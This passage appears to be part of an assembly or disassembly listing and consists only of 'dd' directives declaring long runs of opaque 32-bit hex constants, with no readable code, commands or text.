0B202A6A8h dd 0B5EEC891h, 0FD9880DFh, 0B7F7764h, 6FF06D69h, 0AE1B1400h dd 0E94A0A88h, 0DF8E0020h, 0CDBB2EC6h, 0CC96142Ch, 0EC10341Ch dd 2C202F4Bh, 81CAEA13h, 0C4B35900h, 856797C2h, 40E09EF0h dd 1FA7E58Fh, 2E0B93Bh, 53E20DDDh, 88D921h, 6D1BAA8Eh dd 3728E5A4h, 10000C5Dh, 0A0C4A656h, 8CC8E3h, 25838D74h dd 269CD90Bh, 9B462EFh, 0E85CA6B7h, 1A4EF4h, 5F301668h dd 0E1B1A2C7h, 76A32502h, 414D26CBh, 18505004h, 1E37398h dd 44D4F93Eh, 30D5E7F3h, 0DB018830h, 6D91DE49h, 0A8E055EBh dd 13822428h, 0AC4200A8h, 58AE3144h, 0C77D5E17h, 0D85CC04Eh dd 7BF43959h, 2C1FAECh, 0D16D54BEh, 0B1C04548h, 231888B1h dd 0DB90243Fh, 3F0899E8h, 42F093A6h, 5921F77Fh, 4AC01780h dd 1C7CC4h, 0DB5F6B60h, 0AFFD49A9h, 0F2D2B80Fh, 0DFA74289h dd 88987987h, 0C3806074h, 7522DAB1h, 0B22304E6h, 0B4AAF8C6h dd 880F06C8h, 7DEA321Eh, 66127BBDh, 58A0DC6Eh, 87A35057h dd 0E74412FCh, 46AC839Ah, 270C97D8h, 8733626h, 0CB4F9541h dd 8D75C4h, 0A05F8445h, 2FDC89EAh, 0B44842F2h, 4C912884h dd 3E06F201h, 7A24657h, 0DC814CD9h, 1F494D7Bh, 0DF1082F6h dd 590FB85Bh, 882CC0h, 0FC7148CAh, 97072D4Bh, 79732FD3h dd 0C4025E00h, 45DE28BEh, 4A713C18h, 83893F81h, 0D5F143A5h dd 809EFE7h, 451AEBFDh, 35AA8004h, 2A9E250Ah, 2B44FCB0h dd 0C17016A7h, 0A08CC83Ch, 739D3Fh, 0BC114DDDh, 177D84C3h dd 0C0EA649Ah, 5F14F528h, 156F9D04h, 4CC2606Ah, 0B5FCC06Ch dd 734C00A7h, 0F565D19Bh, 9A2627C7h, 11446063h, 0C033D4E4h dd 6A3003B0h, 5D7ED58Fh, 0B44F805Bh, 694A4078h, 2C14DF17h dd 12AA7D9Ch, 8B6800C0h, 6B27D5C2h, 7B40C600h, 6A14EDB4h dd 3C23009Ch, 3436C8Dh, 0C77508BBh, 0A671611Dh, 0F75FA581h dd 55F06B44h, 892F6214h, 4C728F26h, 0B1F8CF12h, 8961DC20h dd 645C040Bh, 0C8A4F963h, 0E6173EF4h, 4030D826h, 9CEF9F3h dd 92F4D5EBh, 541B5980h, 48122C9Bh, 0C8D17A88h, 0E4EC5F8Fh dd 0E09D0BE7h, 4A888994h, 0D1BF039Ch, 0D7D25668h, 977838E0h dd 21340458h, 114112Ah, 0F411643Fh, 0E1EC3533h, 0FE92248Ch dd 4C8E08DCh, 93CD206Eh, 64991Bh, 0F80C0896h, 0BC6531C8h dd 0D514C17Ch, 0C0FC2695h, 0E77919CAh, 8A410EAEh, 0AFE05EF9h dd 75935481h, 0C7F2D602h, 0C656C29Ch, 609E0F6Ch, 0DF84C464h dd 0E454A474h, 790A7F01h, 1EF3E645h, 7D8B860h, 0D1B5C606h dd 0F980C87Ah, 9BE1D48Dh, 0B8505A4Dh, 8117382Fh, 0D0772CE6h dd 0C3DBBBh, 0C2A1AC78h, 145206FEh, 264410B0h, 458A00AFh dd 537844FAh, 0E507E1AAh, 85A95E40h, 0C6A2F6A2h, 0C4762C74h dd 0C07767D8h, 0A1D28791h, 2E630500h, 0AB5A14E8h, 7D4A0BF5h dd 0F890805Ch, 0F0021C2Fh, 0D5ECDFB3h, 1F207904h, 32B64089h dd 207CC57Eh, 27DFE603h, 0C8AF5EDAh, 4A1B2405h, 0BC2C30E2h dd 0D301D494h, 0CA9C6591h, 682C0180h, 5E12CF9Ch, 1D9D7040h dd 8800B5C8h, 0CEA1C0E6h, 1C204Ch, 0A4304D57h, 0E025EF5Fh dd 0BA87952h, 0DD1A78h, 0C0D626C2h, 3D5B00EBh, 0F00BAF7Ah dd 794E55ECh, 5E77CC4Fh, 0E666109h, 746C84E0h, 1AC5CA4h dd 20E57E09h, 0FF972840h, 0BBB56102h, 0E65F2CD4h, 9600018h dd 0D4EF687h, 25726856h, 5F8C5C13h, 716B5820h, 0AD0503CFh dd 97CE9563h, 72463EC1h, 110C0080h, 0D06DCF39h, 0DC4A1205h dd 0DD2C907Ch, 0A61E26F8h, 7B07BA64h, 2950C5E6h, 131053D3h dd 0A4AFE45Ch, 0C704F114h, 0E5B1044Fh, 0E20FD0C0h, 26AB28F8h dd 64DF0344h, 8B7FEAB0h, 0C2B16113h, 0D221ED00h, 1790967h dd 7298E38Fh, 6C5A9C03h, 733D872Ch, 9684530h, 5671049Fh dd 40F77F33h, 5A909391h, 0F92800A5h, 0AEED3AE5h, 6000F409h dd 0D9EF19EEh, 1FBB7ECh, 0D685F3C4h, 222D17D3h, 0A33C040Ch dd 4482EA53h, 59C8801Eh, 2576A96h, 0CEB4F16Bh, 34C4751Ch dd 8AF45200h, 618BBA40h, 76F4B2F5h, 84B95C7Ah, 0EFCC6503h dd 180797EBh, 0EC74026Ch, 0AC207F15h, 16B7779h, 0A623E270h dd 0E05ACF7Ch, 25007266h, 0CD4BDC7Eh, 2E780668h, 14194Dh dd 2FBD8357h, 0C7035CA4h, 89F3A250h, 729FC8BFh, 60A7059Bh dd 0C16214D6h, 7C4FA04Ch, 2F4680F8h, 0FAB81ED0h, 43B8BBh dd 0D9F39390h, 0FD5CA29Dh, 0B0ECA130h, 51043314h, 73C8547Eh dd 0A13200A0h, 3ED8CA78h, 0E200FF09h, 596E0D4h, 0EDAD40h dd 9DCE27E7h, 88733067h, 6C88CF4Bh, 0C95E0E85h, 406B9568h dd 0B80A0009h, 50DC3C91h, 5F609482h, 83005C52h, 8CFCC4A8h dd 0FB56AC0h, 0D8337053h, 0D205F800h, 88B4CF94h, 0BB9FC540h dd 3B21B87Bh, 1F801B88h, 0E8554F54h, 99E228A9h, 3650F4BCh dd 0A416018Ah, 0BEF8E918h, 13CCE09Fh, 2400A17Eh, 43195F95h dd 9EC79EEEh, 142811F8h, 2E5C8D26h, 0E1190E8h, 0E7078C01h dd 0BEE018C4h, 0D19F0021h, 0DB0ACE6Ah, 297B2D96h, 43C86098h dd 1A22C405h, 20B44632h, 23BC00F4h, 0C7672BE6h, 903B91FAh dd 55C20566h, 808064E3h, 0C0134625h, 0E79CAB31h, 7B146752h dd 9C8990Ch, 0E48D2826h, 114234h, 6C1F6AC4h, 0EC7341Dh dd 8CB991BBh, 3E38C8F7h, 0AF01ACECh, 17F0D0E2h, 9EE82145h dd 9FCB16D7h, 6770009h, 28ADC772h, 0D61A4D12h, 0C25AE820h dd 203BFB18h, 5B557664h, 3837612Eh, 0F27A1D3Fh, 4A4F31Eh dd 0E0B29513h, 0B08BFF00h, 0CB5411EEh, 8DE1EFF1h, 0C844E435h dd 533082F5h, 0C6D2A326h, 7A9B000h, 0D66C88DBh, 96F80A4h dd 0D23EA0CCh, 0D9170B63h, 0F2009079h, 0D853001Eh, 16F44080h dd 0A5008DDAh, 63154D2Ah, 0CB89E21Ah, 18630B9h, 854EC01Dh dd 9A80C8h, 0BB8A9A1h, 67FCE028h, 0C8A5B307h, 8EA7944Ah dd 0FAF754A0h, 189B1D5Bh dd 53A2C386h, 0CCDD46C8h, 0B1EF558h, 6A80F1EAh, 14C261CCh dd 9A730228h, 5F75B731h, 0B90D5A20h, 8ABE007Dh, 9B4EE94h dd 9B2CB2E5h, 5B110C3Eh, 24A07F2Dh, 0ECABDCEDh, 1341DD1Eh dd 0EB93E7DDh, 0ED0CC8h, 6A09F462h, 0A951231Bh, 73055898h dd 0E708C03Bh, 0E20364F2h, 0B9B2F224h, 743077C8h, 0F92F4CEEh dd 642829A6h, 4883BDCh, 0D1DA2B80h, 0C63235E2h, 78BDA600h dd 0B40B6B15h, 47731313h, 0C0880FA8h, 0D0C485A7h, 771D80Fh dd 0E0B45575h, 44817580h, 997AB7B0h, 0EAAB0060h, 625DE9BBh dd 0B3EF921Dh, 8E1B2683h, 0C48CA29Dh, 40804F9Ch, 26257D0h dd 9D3AC298h, 0E0C98096h, 908CD00Ah, 9A8D0038h, 0F63204A0h dd 0C08A26AEh, 29BDA874h, 0F87DA6h, 7096901Fh, 4D01DD7Ch dd 21AE02Fh, 0F87C155Ah, 9EDA7982h, 52400C56h, 91C48A3h dd 4DFD061Bh, 0E45C78A4h, 525E1BCh, 36050093h, 7073BA7Dh dd 299409A9h, 0B879AAF9h, 6AC7B580h, 29C6A696h, 0E47F3Eh dd 530D7E02h, 6504791Eh, 29C4AAE9h, 66706482h, 3D60FBFCh dd 2D40010Ah, 541063DFh, 0DBD82033h, 7C632441h, 0E7F01602h dd 73C0E23Ch, 0C000B5A1h, 0A31F219Fh, 140F8EF9h, 18ADE3C4h dd 0D2C70300h, 784244E7h, 5426CB00h, 9D08FEBh, 9BFB1C70h dd 0ED3D8B7Dh, 80444804h, 11E41E34h, 487E3F27h, 70DD94h dd 446E0B13h, 6AF9C864h, 80A8745Ch, 47B418E1h, 24E30017h dd 6A60D9C5h, 3805C89h, 610500FCh, 7014EFA6h, 437FF58Ch dd 0F408012Eh, 0C8C17B01h, 4B2A9427h, 50488004h, 8A00AB9Ch dd 730A9671h, 58411793h, 322EC288h, 0B2460264h, 548080B6h dd 97E6A81Eh, 0FD6B8900h, 0F21D9D7Dh, 0C1D12C8Eh, 0F61198h dd 0EF8772DDh, 13DCC5Eh, 0E8B7C60h, 0DA681502h, 0AC601456h dd 0E8FF9078h, 3DE42DD4h, 0D9E01490h, 16EC1E01h, 73C9F7B2h dd 2C29D3DCh, 1C46A4DEh, 7CEC6Ah, 6D06E647h, 3331AD3Bh dd 0C00C1C2Ah, 27D4BC64h, 3048C817h, 920CCF29h, 0E060B466h dd 6A0713BBh, 393CF295h, 91DD003Fh, 63275BD3h, 351D0102h dd 0EAA1F1F4h, 2402C2Ah, 8086D497h, 9DCB20FAh, 7F1F682Eh dd 0FF80116Eh, 0F44372E0h, 26650063h, 8FB53B39h, 0AB0C5305h dd 71320C5Bh, 0F63F2A4h, 8D06878Bh, 550B4FC1h, 48B82D78h dd 0F96D09F4h, 1BAC10A9h, 0BA68A3E4h, 9D04E0C5h, 0E7760CC4h dd 0BC3922ADh, 55778C03h, 0A04163ACh, 7A1F9B9h, 7A453F06h dd 0B20555C1h, 0A60B00E4h, 354B3B0Dh, 0A54F0069h, 14F53E7Bh dd 9C1DCCD4h, 0F18028B1h, 0AB6BCF26h, 51A70E77h, 0BF9DA1C5h dd 17D74085h, 637898DEh, 598034B9h, 9FE07B2h, 0A9D60017h dd 2AA0999Bh, 328EF4Ah, 2C03147Fh, 0C83494D7h, 0E692D8BCh dd 0EACB0596h, 808E93E2h, 0CA16EA0h, 0A43027h, 973C5EF8h dd 99550006h, 52A5F09h, 7E16F8E5h, 9C88CB25h, 0DCB50012h dd 27078594h, 0B0049FBCh, 145CFA2Ah, 0C8F2CF40h, 4F0124E6h dd 0D90BDC4Dh, 10DCA7BCh, 946C7D06h, 0CE28405Ch, 4C00C166h dd 881CDCEBh, 4128D8Eh, 345C1BB9h, 9B04B0A2h, 165E413Ah dd 0FC064C45h, 2F184672h, 5B0557B6h, 55208CC5h, 3600C6F4h dd 7731FB12h, 168F8CE6h, 20AF4DA1h, 32789AF4h, 79106700h dd 19B0ED2Fh, 2C57007Ch, 3B0B051Eh, 5602E60Ah, 2AF6550h dd 23C7E2D7h, 1676BADCh, 0C8B7D988h, 990F81FCh, 0C0D5C8FEh dd 0E5D73F64h, 134F7C06h, 1159D20h, 94D196C0h, 0FBB42023h dd 1BEC700h, 0A517E334h, 5AEA04C3h, 40AD7595h, 5CECF173h dd 336C009Dh, 6206CA0Ah, 82005718h, 4BD9F3C3h, 26E74572h dd 60D4EAA4h, 0A7312EF1h, 97E26E3Fh, 62039B6Bh, 0D972838Dh dd 0A86C6462h, 7E14ED83h, 6D8DC690h, 44EC942Dh, 0AF1B07A0h dd 0E1641577h, 0F99B5859h, 6B39C05Ch, 23980800h, 88F1550Dh dd 0F3C10B83h, 400BA7C7h, 0A535E800h, 57030760h, 319CE180h dd 9805B867h, 79552808h, 85720140h, 1B216892h, 4862DAh dd 3256007h, 48970D3Fh, 0AA041C70h, 806F05E8h, 0EC6749ECh dd 5B5DA0A0h, 8CEA8907h, 0C67268C8h, 0FA608775h, 50B99870h dd 78150062h, 5D357680h, 5105CB3Eh, 0D39681B1h, 0C2FBD490h dd 0A3F825E6h, 0C51B7C68h, 0AF9197F7h, 3451A0D0h, 156307D6h dd 20A61326h, 74A15B2Bh, 0A585C0C8h, 0B9633490h, 0C9D63700h dd 0C1B22DA2h, 4FC605DAh, 0FED0948h, 0A6A3E9E8h, 4CE007B3h dd 8028D19h, 0E83094AFh, 754464AEh, 0B4C71FE0h, 399D0F64h dd 0AC353762h, 0FF3F6844h, 69998007h, 0A21B6D02h, 4B2A3DBBh dd 0CD06D984h, 8F224h, 9455A32Dh, 42267D8Dh, 9E4D2E8Eh dd 28115D02h, 0A7A780C5h, 0F84CF1B0h, 98910B3Fh, 3C904626h dd 2B00CD94h, 6D6C32F4h, 9E3521Ah, 5853D409h, 0C80E1458h dd 4BADF34Ch, 0D458998Ah, 3F6F96C8h, 0EA9CB272h, 0B191425Dh dd 0B4C367A4h, 0A260E8E0h, 0FF00F494h, 0CCB8838Bh, 314CCCB9h dd 405AAF1h, 0E89A7D0h, 435654C0h, 0A2A002C7h, 0CF2F4B36h dd 9163E860h, 323CB50Ch, 95856428h, 105450B0h, 64F28B00h dd 4F41212Eh, 61CF00D5h, 0EB0E2B26h, 0BF00762Fh, 934605EAh dd 0A253DAh, 0FE96C887h, 35D38073h, 0C4C71A27h, 94262584h dd 38E410A9h, 1CE7173Dh, 0D74042DBh, 358D2FB8h, 133B74B5h dd 22C2E79h, 39615516h, 8F1F58F1h, 82CE6900h, 3CF24CA0h dd 0FA874ADBh, 0F92835C5h, 0C4EF1CC8h, 0F500A3E8h, 1C73782Fh dd 0A8175CA2h, 0DADFB8h, 0D8E70EFFh, 0DCE8022Fh, 409E1EEAh dd 0F3F9AA40h, 59F73C32h, 43CA200h, 6F193565h, 9029D800h dd 0AAF5DF38h, 0B65F5005h, 95340161h, 9F78307Fh, 9A26C819h dd 48F490B5h, 4C04C6Bh, 31AC5E00h, 0B4F3BB57h, 0F1472102h dd 7EF69885h, 396A40CCh, 0BF006C46h, 0F05FF703h, 0DA0795h dd 5B0A7DF2h, 0FA5CBB6Bh, 4306CE00h, 0CCB55242h, 8078B1EDh dd 317E46FDh, 6400C5D2h, 0DC296371h, 0B17F82Bh, 30135532h dd 177EBC69h, 342C1040h, 16BF07A8h, 7711B2Fh, 0D49E8024h dd 9A134219h, 6C00C4F0h, 91DBC64Ch, 978F0081h, 69EA0C7Dh dd 43040440h, 0F163E641h, 26827EC1h, 9850223Ah, 0D44070C2h dd 24004F96h, 0A5D1654Dh, 48A347FEh, 7102704Eh, 0ADF92195h dd 0F20064DAh, 0F3B7D38Fh, 0CCC28Eh, 7EA1E09Fh, 0B5484CE5h dd 43C5B600h, 8C781C83h, 679200D1h, 17AB5FA7h, 8406A476h dd 0CF618564h, 262B44F8h, 15166B00h, 0DE8EF158h, 20EB4AE8h dd 1A324A34h, 13EC7800h, 2F8B4CADh, 378C4h, 36AADC6Dh dd 0D550AD8h, 0C7803894h, 0C525E7F2h, 3EB8997Ah, 0AD30D180h dd 0C31955A0h, 0AA001B76h, 2AD6424Eh, 7BBC893h, 1C756574h dd 0F8E8F1B1h, 80982DA9h, 14E594BCh, 8058996Fh, 4812D20Ah dd 90BD37CFh, 1E7B7C2Ch, 0E03A69h, 0CACC0F67h, 104C7005h dd 23451D64h, 7E4E4A5h, 0EDFD5220h, 76DCC0DDh, 98008A88h dd 0C8562455h, 0C6AFAB3h, 0AA055332h, 16453F98h, 4E02C833h dd 9E3BC809h, 388FE1E1h, 0EC8BA014h, 91E50092h, 0C75904F4h dd 0FE72BC78h, 0B5D4400h, 81E709ABh, 76A51327h, 403CC8CCh dd 0DBAD9C00h, 0A4F79066h, 2F1E1DA3h, 8E02403Dh, 1892C322h dd 0E6EC0803h, 0F02B5A9Fh, 3B4EC7h, 0D7D8041Dh, 4477D267h dd 0B55470Dh, 4235915h, 0C2B97907h, 4EACF06Ch, 89173ABAh dd 4C001B7Ah, 0D25AA450h, 0A8402464h, 0E26500DCh, 3BDE25F4h dd 283EEE0Bh, 6B143195h dd 8870ABFDh, 0F91B0094h, 0A8C8847Eh, 0B5757B45h, 1095787Eh dd 3A026500h, 0B30058D3h, 0D49FFCF0h, 10FAE83Fh, 0C4FF9C1Ch dd 0F7944Fh, 15951A7Eh, 9CCAF0CEh, 1B4A4010h, 3E000F04h dd 5951D47Fh, 0D3DC7ABh, 0E82BB1DEh, 90688Ch, 0ECAD7854h dd 888CC51Ah, 0E6E63806h, 0C8A42F28h, 0B17E56F0h, 3C90DCFEh dd 0E5D1BF09h, 60C494h, 32CBF4A5h, 5C51B6B0h, 0DAA96700h dd 0B3D9574h, 0C66D00CFh, 0EA540735h, 10B77F93h, 115960h dd 0AC3071B7h, 0E30ACC24h, 0B31F8907h, 19912AAAh, 203E43DAh dd 0C2179A4h, 0FD00C679h, 40D510D3h, 9B413Ah, 710E5663h dd 1AFB943Eh, 0CC56D64Fh, 83C4B0h, 4264FD85h, 0E7387D0Ah dd 794A0513h, 0F135D000h, 16C79DD9h, 0AE5AD292h, 0FC31C716h dd 856EF71Dh, 4F0009B4h, 1A00D879h, 0F3C977D4h, 55CD1ED7h dd 0ECC44F89h, 0A8328F21h, 6714D8F8h, 25D29609h, 9040D928h dd 8DC48006h, 3FC5161Ah, 2CFC11A0h, 372186Bh, 36495BB9h dd 0F4D2E3FAh, 90B55790h, 0F2B2AAA0h, 5B1801EEh, 37664AF5h dd 9A32016h, 0DA852A02h, 0D275D2BDh, 0C1E83758h, 8F0BD01Eh dd 0B71CFF81h, 0BBC0726Ah, 27CA3ED5h, 385560A4h, 0AED024A2h dd 62382095h, 0B5B1A1h, 20A5C654h, 4541E7D8h, 2D1FF60Fh dd 15C050F9h, 616B7330h, 0C22476F8h, 404EFC7Dh, 0DB35EDD9h dd 8A70002Fh, 0D5A1364Fh, 0A50554DDh, 37850B87h, 0C005F4B8h dd 0B326ED0Ah, 0F93389A8h, 23F800F8h, 4148C4C3h, 0ADB2AC00h dd 0F965D18Bh, 94C7176Dh, 0FF8C8822h, 4D027F7Eh, 0BBCA437Ah dd 2024AE38h, 8582D8D2h, 22A20E5Bh, 0F140D9D5h, 32072388h dd 0D0A037F6h, 81B53F1Eh, 0EDC6B2C8h, 6B83A039h, 2007276Dh dd 188A3472h, 77A4B8B0h, 815F1EE0h, 2DF1E0Dh, 0F65BA26Dh dd 9540BC7Ch, 0BC51A5h, 0BAAF7415h, 3D418F77h, 0C9BF39h dd 3BBDB664h, 44AEE61Ch, 0D5001E1Ah, 11F935E9h, 0FD9233h dd 274E1083h, 1E3957A6h, 88BD151h, 72072480h, 1D86867h dd 949E2830h, 4C3675D0h, 0B293D497h, 0DDC70088h, 0A7D7B594h dd 9FD33EC4h, 73820401h, 0DB262970h, 17EA1E3Fh, 542079D4h dd 0B7A58Fh, 0B822F408h, 0FC21C9FFh, 0B14DFD00h, 0E3BE8894h dd 0EFC124C5h, 4592088Ch, 0A526D480h, 0BE9DB46Dh, 0CEAD414Ch dd 0CAA8D063h, 130426B0h, 79DA7AE9h, 3E654A4h, 271C6AAh dd 0CC906136h, 3077DFA3h, 86E44F1Dh, 78ECB149h, 462E0B4Ch dd 0FD8253D9h, 0D0FC0F56h, 4FDA414Fh, 0D0739626h, 0F20D4904h dd 3C78A97Eh, 0FA1C80FBh, 7D01E99Bh, 1A8400C9h, 4095D534h dd 272E05F0h, 0C3616C91h, 284073ECh, 27E92DA9h, 34C4E00Fh dd 3F841203h, 88091690h, 487630Eh, 719C691h, 5D20217Fh dd 0EB272F8h, 16184017h, 1E0DEF20h, 9276744Eh, 7BB08873h dd 0CC0B532Ch, 463EA604h, 0E9D91B05h, 1DAF1190h, 0A7E70h dd 243A0958h, 9F4DA843h, 5042D038h, 0B10438DAh, 733514FEh dd 1F480A4h, 0AC4D8E8h, 0C8B85B2Ah, 0B3A4D26h, 3DD307E7h dd 981154Ch, 202BBDD9h, 4348CE84h, 7929CC2Ch, 28EBF00Ch dd 0E8EC2C6Eh, 90E267ECh, 27CEE626h, 48C3C607h, 0E13EC0B7h dd 20B3FB97h, 0AD80E478h, 49DEB56Bh, 90D5D61Eh, 7A5842C0h dd 4B6F6D24h, 5F3C881Ah, 0DC77A81Fh, 4CECD640h, 11046A65h dd 21BAEE7h, 41A779EDh, 81F260B4h, 0D49900CBh, 0C9F4BFB9h dd 0B0091249h, 685D0354h, 31BCCCh, 0E162A042h, 0DFF4AF20h dd 320DCD00h, 0E6783019h, 16F4B05Ah, 0B346DA87h, 0E7B38BCh dd 0C49BEA79h, 0F0C0C3A1h, 8FF13Eh, 4D610663h, 7D8C5C64h dd 31808896h, 0F1BA9E10h, 89A2144Eh, 5E80E0ADh, 6B9C6FEFh dd 0CF11FB07h, 1CC0FD87h, 0BDBD3DFh, 56784BA6h, 803E285Bh dd 0C60A9F2Fh, 9C18CAB8h, 0B80349C4h, 0A3D1E05Fh, 0CC7C74h dd 90F54669h, 5CBFD9FAh, 0BE0000D4h, 36EBBCBBh, 0CC9979D7h dd 41BA170Fh, 0EC4CBF1Bh, 78C0402Bh, 0EDD2D8FDh, 0F67E22h dd 98A5763Eh, 59B19D8Bh, 4DA42D00h, 0CE033655h, 88284FE9h dd 83014320h, 9A78D3C0h, 0E7C4ECDCh, 82AD34F8h, 6C6CCC21h dd 0DD53CA00h, 4F8D0A3Ah, 9FF4096Eh, 64908078h, 0D85C5ACAh dd 0DA030178h, 0C3F1957Eh, 7D9674C8h, 0BA7C0165h, 0D478804h dd 7005F406h, 48FAEEE1h, 795ED80Fh, 0E78627FBh, 0B8DB5CA0h dd 74BC3EC5h, 45E29E0Ah, 236943F4h, 0CE371600h, 55CF6B30h dd 0AB620A61h, 4C45E67h, 0CC34521Fh, 0D998E30Ch, 0F906830Fh dd 8C4918A3h, 0BC30541Ah, 93B91354h, 0FB08207Dh, 230134F8h dd 1215C0E3h, 0B8FF20C7h, 0C05DFh, 1A41DA74h, 1F8F4D86h dd 0FA6D8E1Eh, 0C089D913h, 3D017872h, 704FE3Ch, 0B120F81Eh dd 6F504A01h, 3B91F266h, 69C00BE7h, 0AC908063h, 8B00B972h dd 0F77B17E1h, 264ED08Eh, 0E0453Ch, 5206894Dh, 0DAF0B51Ch dd 0B55F113h, 4D12BCB2h, 76C030F7h, 800F43Dh, 6C077145h dd 140FE8Bh, 613B1C66h, 0E864C3CEh, 0C002A3E2h, 94D143DFh dd 0E0ECE36Bh, 28C76031h, 116C2D18h, 42B3CF9h, 5FA1E7EDh dd 4F0014FDh, 889348F4h, 0E00172EFh, 0A42FAB73h, 76D0E924h dd 5FDD03FDh, 8DC717DCh, 0AE405107h, 18B03E5Bh, 17F8943Dh dd 20808B76h, 0D6032EC8h, 81FA8E05h, 1CECD154h, 431D6F00h dd 5D3C599Dh, 510E1044h, 5CF6CAB1h, 5EF626Ch, 33407456h dd 16BD2BBh, 9491D7F8h, 3C721675h, 99B38190h, 0ECE45945h dd 0CCA35E5Dh, 0C8521BC8h, 0A8F917D0h, 84E2E088h, 968D3002h dd 46A2F8FCh, 68190B34h, 0F8B0A326h, 0F7178BFCh, 7C003CE0h dd 34481E3Ah, 6B7917C1h, 7440309Eh, 0B700FD50h, 0A3E7177Dh dd 0E9030Dh, 8E0B9E11h, 0D559BECEh, 0B8732F01h, 15A4F8ECh dd 2F8B5852h, 0C60B5840h, 88986F44h, 0F28E8100h, 0AA053188h dd 7EF807A9h, 20615684h, 779E7096h, 754134Ch, 1A85F166h dd 0C4587592h, 0DB823EBCh, 2FC90100h, 997C1C95h, 0DA9BC000h dd 443F853h, 4AE40157h, 4C05ED2Eh, 9DBAC007h, 18B45A05h dd 983389E0h, 3A15D86Dh, 10209773h, 253EB8BAh, 2B67605h dd 10C87DA6h, 0F6030089h, 0E31E0A4Bh, 6C1EF32Dh, 35C023D4h dd 0D694FD1Dh, 0E91C008Ch, 5F162A2h, 0EA5B885Ch, 0B7AB6023h dd 983A81B0h, 0CAA20ACDh, 11E876A4h, 81643F26h, 0CECC897Ch dd 82CB859h, 2B20B80h, 0A6008ED2h, 42ED479Ch, 9A9187Bh dd 0D02A2DC1h, 4016B084h, 0A46DEBDFh, 0F6C70F89h, 0F36B1F97h dd 841CC871h, 2F20409h, 0FED7186Ch, 0FE2D419Ch, 0F4A131CAh dd 0EA146050h, 281CA8F8h, 7248CC25h, 0A49D1D76h, 0FA65F240h dd 0EA495536h, 988D0066h, 0ACC818FFh, 7F0F684Fh, 7BA2CEh dd 0FA55C34Eh, 157437D5h, 1D692048h, 0E0025EDEh, 1A6614FDh dd 5871C8h, 0D992FF6Eh, 3CB8F2DDh, 18A2EF4Bh, 0DF3E810Eh dd 0FDA82560h, 0BF00CF58h, 6692A034h, 1F7252A4h, 1715CECDh dd 78F0C12Fh, 5FC45208h, 1600F45Ah, 3FF4C62Dh, 2AD87B8h dd 88974CDBh, 38D47DAAh, 0D71AA080h, 113B9BEh, 0EFA4EAFFh dd 0D3AFAA04h, 0BC85E0E9h, 38404A29h, 0CA7B10C3h, 0CD15003Ch dd 7050AE25h, 23483943h, 35380148h, 992826A3h, 0E705CC29h dd 0B8156805h, 32F680F8h, 3F02C556h, 1D873A59h, 60360DF0h dd 2FE70964h, 8498747Dh, 5D982612h, 0D107A4D2h, 0E2A778h dd 580C115Dh, 7E0D298Fh, 591BE9A3h, 35A07C93h, 6207ED28h dd 3ECBE73Ah, 0E609D710h dd 0EC560A14h, 242C0F55h, 7D012D4h, 40158C06h, 24379D3Ah dd 826BCF0Bh, 50443Eh, 0ED3154CCh, 4A1F8E30h, 6A80CE50h dd 0ADDDF917h, 0E8626023h, 0EEF5C999h, 0C104026Ch, 298A513Bh dd 58C1E042h, 67388209h, 60305F01h, 35A238h, 0AB71BFAEh dd 3BF01EE3h, 6C405D5Bh, 0D7EC9A28h, 8DD0018h, 72BA459Dh dd 0B7F0884Ch, 8FA42400h, 0E80AD793h, 0C17DFEC4h, 1758339h dd 1BF0D0CDh, 1566A212h, 0E249820Fh, 0C8EC093Dh, 0F54D872Ch dd 0B57F2670h, 9BFE1C20h, 0F7011856h, 737966E7h, 0C081F5A9h dd 548E1A57h, 903D5Fh, 0FE088CE2h, 1C2439AFh, 57B13D73h dd 0C2831CD7h, 115B9E3Ah, 5F946C7Eh, 0E2C1076Ch, 8CE08D1Ch dd 53DFF0h, 0D3354FCCh, 0BC7783CEh, 0D9BB4200h, 0F65EFC07h dd 0E1B92EF3h, 35811E8h, 6041D8FAh, 5BEBA822h, 0C37A84h dd 0AAE77ADCh, 0A4302894h, 9AD05C0Bh, 3C24905Fh, 0F6190E76h dd 0AB20F070h, 714BA029h, 0AE40D4BCh, 7EDDA5CCh, 68CF0384h dd 8CF5F946h, 0B96607A0h, 81EA5F3Ah, 0DE9DEF05h, 1C3D7EECh dd 9FB61C77h, 0C64EC26Fh, 0F740F57Bh, 791CB10Bh, 0EB805A0Ah dd 0E03F3B2Fh, 2D1B807h, 0C01E6FAEh, 24608272h, 8E02F157h dd 0DE1B7BA0h, 385DFEh, 0E0131B7h, 9C8E5933h, 4A801CEBh dd 0FDA339E6h, 4003C63h, 0F3C74611h, 983D9F89h, 0C4A00970h dd 4898DE18h, 0C61C4A39h, 6785B69Ch, 0ACACA0F9h, 46601493h dd 26428305h, 8934FC92h, 0C4980ABDh, 0C890D83Fh, 3F1440C5h dd 313B466h, 48A2ED17h, 0EC578B00h, 3229DEDDh, 0A79E3502h dd 6040D78Ah, 5CF8ED70h, 6A80403Ch, 38D12D41h, 41937F30h dd 1E89E79Ah, 8095E4BBh, 0ADC4D431h, 454BDEE8h, 882A8CD0h dd 0B5B824D6h, 0C9EE0094h, 2887C863h, 5B3B1009h, 56BC0341h dd 0BAAA4BFh, 4C84C6B0h, 0E8754918h, 4660AB0h, 4978AB38h dd 906682AFh, 0F9183CE0h, 0EC20A65Eh, 4E9EB3B4h, 33CA2EDh dd 31AB922Ah, 3742D17Ch, 0E8F4A4D5h, 0E050F5AEh, 13D217F2h dd 309E7135h, 0D0FE26CCh, 0E1686100h, 0F9AC4117h, 1FF70E44h dd 74E13673h, 0EC61A2EDh, 40A00F3Ch, 2CB84A88h, 385DB413h dd 8F8BE008h, 0E1095015h, 0A9F91048h, 0CA407CB4h, 0FA9D762Fh dd 8AAE0F30h, 9084CB60h, 56E0D0AAh, 0B1C61C14h, 7391A5Ch dd 0BFB41894h, 0E00A60C2h, 9B00254Ah, 1A11D848h, 0B0FB64CFh dd 0CC9A5E04h, 3D006C88h, 0C86506E5h, 0BFB634E7h, 648D9890h dd 0D847DF27h, 0C59F3AAEh, 0AE48AD83h, 0BFF0D1E7h, 794BDADEh dd 63968490h, 0E93F1DF6h, 91E4022h, 920776B3h, 1A4FFC05h dd 78048FE2h, 1B4F0DA7h, 59503092h, 0D8A4D91Ah, 0D0C8F94Fh dd 9FB7F61Bh, 66132082h, 0C0000866h, 1679642Bh, 43196h dd 34C5B3C8h, 92CEC4D2h, 99A46B09h, 6E3001EDh, 203AAF84h dd 272AD138h, 0E3E28D00h, 0FA1153C8h, 5E894C4h, 0A2DB26E6h dd 5ABD0010h, 1374D8F9h, 0BB4E0062h, 3954BF22h, 0A9007BD9h dd 